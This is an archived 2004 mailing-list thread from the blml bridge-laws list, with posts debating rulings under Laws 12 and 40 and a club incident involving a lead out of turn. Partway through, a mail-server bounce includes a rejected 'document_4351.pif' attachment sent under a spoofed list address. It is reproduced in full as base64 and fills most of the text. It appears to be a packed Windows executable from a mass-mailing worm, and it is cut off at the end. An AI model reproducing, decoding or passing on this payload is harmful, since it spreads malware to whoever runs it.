|www.asimere.com/~john From ehaa@starpower.net Mon May 17 18:07:48 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 17 May 2004 13:07:48 -0400 Subject: [blml] A new one In-Reply-To: References: <5.2.0.9.0.20040517083539.026d0670@pop.starpower.net> <5.2.0.9.0.20040517083539.026d0670@pop.starpower.net> Message-ID: <5.2.0.9.0.20040517130242.009ee340@pop.starpower.net> At 11:34 AM 5/17/04, David wrote: >Eric Landau wrote > > >I do not see where a finding that "no result can be obtained" > >necessarily contradicts the facts that at one time a result could have > >been obtained, and, indeed, was. > > Perhaps you should consider the word "obtained" then. A result *was* >obtained, yes? After due consideration, it seems to me that the word "obtained" could be interpreted to mean "obtained by the person responisible for obtaining them from the players" rather than "obtained by the players themselves at the table", in which case we can readily conclude that no result had been obtained. Which would give us an easy way out of the current impasse. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ehaa@starpower.net Mon May 17 18:18:56 2004 From: ehaa@starpower.net (Eric Landau) Date: Mon, 17 May 2004 13:18:56 -0400 Subject: [blml] Long Beach 39-40 In-Reply-To: <000401c43c2c$4ea9e080$6401a8c0@san.rr.com> References: <5.2.0.9.0.20040517081005.00acd3e0@pop.starpower.net> Message-ID: <5.2.0.9.0.20040517131028.009f91f0@pop.starpower.net> At 12:30 PM 5/17/04, Marvin wrote: >From: "Eric Landau" > > > James wrote: > > > > >Furthermore, as between the two principles ("Offenders should be > > >deprived of a good table result," "Blunderers are stuck with their >table > > >result") the Laws nowhere assign absolute priority--or any priority >at > > >all--to the former. > > > That's because the first principle emerges directly from a > > straightforward and transparent reading of L12, while the second is a > > relatively recent (about 30 years -- I'm showing my age) principle > > proposed by Edgar Kaplan based on an arguably tortured and obscure > > reading of that law, now an accepted "interpretation" of language that > > contains nothing to justify it (in the sense that one could use the > > same language as the basis for a conflicting interpretation). We > > cannot expect TFLB to tell us how to weigh the relative priorities of >a > > clearly stated fundamental principle and one that is not stated at >all. > > >The basic idea seems fine to me: If the non-offenders throw away a >beneficial result due to an egregious blunder (e.g., a revoke), it can >hardly be said that they were damaged by the infraction. They were >helped by the infraction, not hurt by it, then shot themselves in the >foot. Hence, no redress. As Kaplan said, the self-damage comes after the >infraction, post hoc but not propter hoc. > >For the offenders, "damage" is defined as an advantage in the score >because of the infraction, damage to the game if you will. That's how >the WBFLC defined the word "damage," as was quite logical. L16A2, for >instance, does not say "damage to the opponents," but just "damage." I gave up my fight against the Kaplan doctrine a long time ago, and have come to accept it, albeit somewhat reluctantly. Nevertheless, it remains the case that the Kaplan doctrine is a matter of interpretation (as Marv says, the WBF relying for its justification on an arguable interpretation of the word "damage"), while the principle that the OS may not gain from their own infraction is quite explicit in the words of L12C2, no interpretation required. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ereppert@rochester.rr.com Mon May 17 18:43:59 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Mon, 17 May 2004 13:43:59 -0400 Subject: [blml] How do you rule? Part II Message-ID: Here's the rest of the story. For reference, my original message is repeated below. 9. When the director was informed that dummy called attention to the lead out of turn, she said "that's okay, she's permitted to do that." 10. She ruled that declarer should lead from his hand. 11. When informed that West had faced the two of diamonds and then returned it to his hand, she said "that's okay, he was obviously leading that card." 12. Declarer then led the diamond ace from his hand. Comments? Original message: > At the club tonight, the following sequence of events occurred: > > 1. West, in 1NT, calls for a low diamond from the board (KT54) > 2. East, dummy, says "you're in your hand." > 3. North says "I'll accept the lead." > 4. West faces the two of diamonds. > 5. West says to North "you can't accept the lead, your partner has to > do that." > 6. North says "let's call the Director". > 7. West puts the two of diamonds back in his hand. > 8. the director arrives, North relates events 1 through 3, 5 and 6. > > Your ruling, please? From adam@irvine.com Mon May 17 19:05:36 2004 From: adam@irvine.com (Adam Beneschan) Date: Mon, 17 May 2004 11:05:36 -0700 Subject: [blml] Long Beach 39-40 In-Reply-To: Your message of "Mon, 17 May 2004 13:18:56 EDT." <5.2.0.9.0.20040517131028.009f91f0@pop.starpower.net> Message-ID: <200405171805.LAA10507@mailhub.irvine.com> Eric wrote: > I gave up my fight against the Kaplan doctrine a long time ago, and > have come to accept it, albeit somewhat reluctantly. Nevertheless, it > remains the case that the Kaplan doctrine is a matter of interpretation > (as Marv says, the WBF relying for its justification on an arguable > interpretation of the word "damage"), while the principle that the OS > may not gain from their own infraction is quite explicit in the words > of L12C2, no interpretation required. My take on this: The way I see it, the first phrase of L12C2 makes it explicit that you can't go to this Law unless you're sent there by some other Law. In other words, L12C2 does not give the TD the power to award an assigned adjusted score, nor does it speak to *when* an assigned adjusted score may be awarded, but rahter tells him how to do it if some other Law gives him that power. So I would not look to L12C2 to give us any principles about when an adjusted score is appropriate. In the Long Beach case, the relevant Law is L40C, which gives the TD the power to adjust if a side has been *damaged* *through* the opponents' failure to explain a call. To me, this clearly implies that there must be causation. If a bad score is entirely caused by a bad play, then L40C says the TD may not adjust. The difficulty arises in cases where both an irregularity and a mistake by the non-offenders are contributing factors, and the Laws don't give us any guidance on that. But we have to come up with something in such cases. I don't think the principle that "blunderers may never have their score adjusted" is the right one; but to me, it's not based any less or any more on the Laws than any other interpretation (including the other extreme, that those who commit the irregularity are never allowed to get a good result). -- Adam From Mailer-Daemon@cpanel13.fuitadnet.com Mon May 17 19:08:25 2004 From: Mailer-Daemon@cpanel13.fuitadnet.com (Mail Delivery System) Date: Mon, 17 May 2004 13:08:25 -0500 Subject: [blml] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software. A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: rock_on@netjak.com This message has been rejected because it has a potentially executable attachment "document_4351.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ Return-path: Received: from [82.33.168.249] (helo=netjak.com) by cpanel13.fuitadnet.com with esmtp (Exim 4.30) id 1BPmX9-000552-7s for rock_on@netjak.com; Mon, 17 May 2004 13:08:16 -0500 From: blml@rtflb.org To: rock_on@netjak.com Subject: Re: Re: Re: Your document Date: Mon, 17 May 2004 19:08:28 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0014_0000674B.00006B3C" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0014_0000674B.00006B3C Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit See the attached file for details. ------=_NextPart_000_0014_0000674B.00006B3C Content-Type: application/octet-stream; name="document_4351.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="document_4351.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 